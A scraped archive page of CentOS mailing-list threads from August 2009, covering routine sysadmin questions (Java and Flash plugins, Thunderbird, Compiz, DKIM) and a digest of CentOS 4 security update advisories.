Somewhere during the course of recent updates I've lost the Java plugin for Firefox. Not sure when it happened, but I know Java was working in Firefox earlier this year. Firefox comes up empty when searching for a suitable plugin. I'm running a fully updated CentOS 5.3 with the following packages installed: firefox-3.0.12-1.el5.centos.i386.rpm java-1.4.2-gcj-compat-1.4.2.0-40jpp.115.i386.rpm java-1.6.0-openjdk-1.6.0.0-1.2.b09.el5.i386.rpm Any ideas what I'm missing? The Java plugin is not something I use often, but when I need it, I need it. Do I need to dump openjdk and get Java directly from Sun? It looks like libjavaplugin_oji.so went away when Sun Java got replaced by the openjdk version. -- Bob Nichols "NOSPAM" is really part of my email address. Do NOT delete it.

2 2

Re: [CentOS] Using Thunderbird as local mail reader
by Radu-Cristian FOTESCU 24 Aug '09

24 Aug '09

--- On Sun, 8/23/09, Lucian @ lastdot.org <lucian(a)lastdot.org> wrote: > > If you liked Balsa, maybe you will like Sylpheed as well: > rpm -ivh http://odiecolon.lastdot.org/el5/i386/sylpheed-2.7.1-1.i386.rpm Sylpheed might need a few other dependencies, which are however offered by the same odiecolon.lastdot.org: gpgme, compface... R-C __________________________________________________________________ Looking for the perfect gift? Give the gift of Flickr! http://www.flickr.com/gift/

1 0

Using Thunderbird as local mail reader
by fred smith 24 Aug '09

24 Aug '09

Hi! I'm trying to figure out how to use Thunderbird as a local mail reader. So far I don't see any way to configure it other than as a POP3 or IMAP mail reader, but I get my mail locally and would like to try using Tbird to read it. What am I overlooking? Thanks in advance! -- ---- Fred Smith -- fredex(a)fcshome.stoneham.ma.us ------------------------ ---- Do you not know? Have you not heard? The LORD is the everlasting God, the Creator of the ends of the earth. He will not grow tired or weary, and his understanding no one can fathom. ----------------------------- Isaiah 40:28 (niv) -----------------------------

9 10

p800 and HP
by Mag Gam 24 Aug '09

24 Aug '09

I was wondering if anyone here has experience with HP MSA60 with P400 and P800 controller. How reliable are they for a 24x7 shop? TIA

8 17

Compiz window manager?
by Toralf Lund 24 Aug '09

24 Aug '09

Has anyone here tried the Compiz window manager under CentOS 5? I just thought I might give it a go, but when I executed "compiz --replace", I got a segfault. This was using the version from the CentOS yum repositories, and logged in to the GNOME desktop. My graphics driver is the proprietary one from NVIDIA. I tried adding Option "AddARGBGLXVisuals" "True" Option "DisableGLXRootClipping" "True" to xorg.conf as this was suggested somewhere on the net, but it didn't make any difference. Any ideas what's wrong? - Toralf This e-mail, any attachments and response string may contain proprietary information, which are confidential and may be legally privileged. It is for the intended recipient only and if you are not the intended recipient or transmission error has misdirected this e-mail, please notify the author by return e-mail and delete this message and any attachment immediately. If you are not the intended recipient you must not use, disclose, distribute, forward, copy, print or rely in this e-mail in any way except as permitted by the author.

3 4

libesmtp binary RPM ???
by fred smith 24 Aug '09

24 Aug '09

Anyone know where I can find a libesmtp binary RPM for EL5/Centos 5? (and maybe a RPM for Balsa, too?) I have an old balsa rpm, but there are newer versions available as source. Thanks! -- ---- Fred Smith -- fredex(a)fcshome.stoneham.ma.us ----------------------------- "Not everyone who says to me, 'Lord, Lord,' will enter the kingdom of heaven, but only he who does the will of my Father who is in heaven." ------------------------------ Matthew 7:21 (niv) -----------------------------

2 2

domainkeys, dkim, bind
by Dave 23 Aug '09

23 Aug '09

Hello, I'm trying to implement domainkeys and dkim on my domain and then to get it set up with postfix. Currently i'm having difficulty with the first stage, adding the domainkey txt record to bind, is a special version of bind required to do this? The machine that handles dns is using bind 9.5.1-p3. Thanks. Dave.

3 6

How to tell if I've been hacked?
by Scott Ehrlich 23 Aug '09

23 Aug '09

There is a lot of talk about the vulnerable Linux kernel. I'm simply wondering the telltale signs if a given system has been hacked? What, specifically, does a person look for? Thanks. Scott

10 13

Music while you work - or not
by Anne Wilson 23 Aug '09

23 Aug '09

Wanting to listen to magnatune.com while I worked, I discovered that flash is not working. It appears that I don't have libflashplayer, but yum tells me that no such package is available. I must need a different repo, I think, but what? Currently I have ls /etc/yum.repos.d/ adobe-linux-i386.repo epel-testing.repo CentOS-Base.repo kbsingh-CentOS-Extras.repo CentOS-Media.repo mirrors-rpmforge epel.repo rpmforge.repo I suspect that c5-media repo is discontinued. I've seen no error messages apart from 'No package libflashplayer available.' In theory I have installed the adobe flash-player, but apparently not. I'm stuck. Any help, please? Anne

5 16

Re: [CentOS] [CentOS-announce] CentOS 4 i386 and x86_64 release of CentOS-4.8
by R-Elists 23 Aug '09

23 Aug '09

dunno if it is a priority, or if anyone is to concerned, yet wiki.centos.org does not appear to come up well in ie8 tested fine in firefox, yet ie8 was wacked ymmv - rh

3 2

CENTOS 4.8 available time????
by mcclnx mcc 23 Aug '09

23 Aug '09

Anyone know when CENTOS 4.8 will available?? Thanks. ______________________________________________________________________________________________________ 付費才容量無上限？Yahoo!奇摩電子信箱2.0免費給你，信件永遠不必刪！ http://tw.mg0.mail.yahoo.com/dc/landing

14 24

Re: [CentOS] How to tell if I've been hacked?
by J.Witvliet＠MINDEF.NL 23 Aug '09

23 Aug '09

-----Original Message----- From: centos-bounces(a)centos.org [mailto:centos-bounces@centos.org] On Behalf Of Ryan Pugatch Sent: Wednesday, August 19, 2009 5:23 AM To: CentOS mailing list Subject: Re: [CentOS] How to tell if I've been hacked? Christopher Chan wrote: > Scott Ehrlich wrote: >> There is a lot of talk about the vulnerable Linux kernel. I'm simply >> wondering the telltale signs if a given system has been hacked? >> What, specifically, does a person look for? >> > > rpm -Va is a good start for modified binaries/libraries. > rootkit detectors is another thing you can try. > > > Other than that, it is checking your logs and looking for odd files > lying around... > Also, processes running that you don't recognize. Users you don't recognize. Logged in sessions that you don't recognize. Free space shrinking abnormally. An increase in bandwidth usage that is unexpected. Ryan Also processes you thinkk you DO recognize: Just for testing how alert my co-workers were, i had a program called "kswapd", just calculating prime-numbers... They never noticed. ;-) Without any preperation it's harder. No point in installing tripwire, activating apparmor/selinux afterwards. Those things should be done after a fresh installation. ______________________________________________________________________ Dit bericht kan informatie bevatten die niet voor u is bestemd. Indien u niet de geadresseerde bent of dit bericht abusievelijk aan u is toegezonden, wordt u verzocht dat aan de afzender te melden en het bericht te verwijderen. De Staat aanvaardt geen aansprakelijkheid voor schade, van welke aard ook, die verband houdt met risico's verbonden aan het elektronisch verzenden van berichten. This message may contain information that is not intended for you. If you are not the addressee or if this message was sent to you by mistake, you are requested to inform the sender and delete the message. The State accepts no liability for damage of any kind resulting from the risks inherent in the electronic transmission of messages.

3 2

transfer file for window
by ann kok 22 Aug '09

22 Aug '09

Hi What is the best way to transfer file for window via internet ls samba doing it? thank you __________________________________________________________________ Looking for the perfect gift? Give the gift of Flickr! http://www.flickr.com/gift/

2 1

Schnitzer, Ted is out of the office.
by Ted_Schnitzer＠vrtx.com 22 Aug '09

22 Aug '09

I will be out of the office starting 08/21/2009 and will not return until 09/02/2009. In my absence please contact Dave Lowenstein for UNIX/Linux technical issues. Please contact Kim Richardson for management issues. Thanks, Ted

2 1

how to get mail stats for a single email address, on an Exim mail server?
by Rudi Ahlers 22 Aug '09

22 Aug '09

Hi, Can someone please tell me how to get the stats for a single email address, and all the addresses on a certain domain? -- Kind Regards Rudi Ahlers CEO, SoftDux Hosting Web: http://www.SoftDux.com Office: 087 805 9573 Cell: 082 554 7532

2 1

CentOS-announce Digest, Vol 54, Issue 9
by centos-announce-request＠centos.org 22 Aug '09

22 Aug '09

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CentOS 4 i386 and x86_64 updates (Johnny Hughes) 2. CentOS 4 i386 and x86_64 release of CentOS-4.8 (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Fri, 21 Aug 2009 17:35:28 -0500 From: Johnny Hughes <johnny(a)centos.org> Subject: [CentOS-announce] CentOS 4 i386 and x86_64 updates To: CentOS-Announce <centos-announce(a)centos.org> Message-ID: <4A8F2130.40205(a)centos.org> Content-Type: text/plain; charset="iso-8859-1" The following updates have been released along with the CentOS 4.8 release (for i386 and x86_64). Individual announcements will not be made for these updates. Advisory Synopsis Date CESA-2009:1218 Critical: pidgin security update 2009-08-18 CESA-2009:1219 Important: libvorbis security update 2009-08-18 CEEA-2009:1214 tzdata enhancement update 2009-08-17 CESA-2009:1209 Moderate: curl security update 2009-08-13 CESA-2009:1211 Important: kernel security update 2009-08-13 CESA-2009:1203 Important: subversion security update 2009-08-10 CESA-2009:1204 Moderate: apr and apr-util security 2009-08-10 CESA-2009:1206 Moderate: libxml and libxml2 security 2009-08-10 CEEA-2008:0274 new package: para-virtualized drivers 2009-08-03 CESA-2009:1184 Critical: nspr and nss security 2009-07-30 CESA-2009:1180 Important: bind security and bug fix 2009-07-29 CEBA-2009:1175 strace bug fix update 2009-07-27 CESA-2009:1177 Moderate: python security update 2009-07-27 CEBA-2009:1174 openldap bug fix update 2009-07-23 CESA-2009:1162 Critical: firefox security update 2009-07-21 CESA-2009:1163 Critical: seamonkey security update 2009-07-21 CESA-2009:1159 Moderate: libtiff security update 2009-07-16 CESA-2009:1136 Critical: dhcp security update 2009-07-14 CEBA-2009:1149 rsh bug fix update 2009-07-10 CESA-2009:1139 Moderate: pidgin security update 2009-07-02 CESA-2009:1140 Moderate: ruby security update 2009-07-02 CESA-2009:1132 Important: kernel security update 2009-06-30 CESA-2009:1134 Important: seamonkey security update 2009-06-30 CEBA-2009:1129 lvm2 bug-fix update 2009-06-25 CESA-2009:1125 Moderate: thunderbird security update 2009-06-25 CESA-2009:1127 Critical: kdelibs security update 2009-06-25 CESA-2009:1116 Important: cyrus-imapd security update 2009-06-18 CEEA-2009:1105 tzdata enhancement update 2009-06-16 CESA-2009:1107 Moderate: apr-util security update 2009-06-16 CESA-2009:1100 Moderate: wireshark security update 2009-06-15 CESA-2009:1101 Moderate: cscope security update 2009-06-15 CESA-2009:1095 Critical: firefox security update 2009-06-11 CESA-2009:1096 Critical: seamonkey security update 2009-06-11 CEEA-2009:1086 Updated rpmdb-redhat package 2009-06-09 CESA-2009:1083 Important: cups security update 2009-06-03 CESA-2009:1066 Important: squirrelmail security update 2009-05-26 CESA-2009:0329 Important: freetype security update 2009-05-22 CESA-2009:1060 Important: pidgin security update 2009-05-22 Please see this link for more info about each update: http://rhn.redhat.com/errata/rhel4as-errata.html Thanks, Johnny Hughes

1 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

Discuss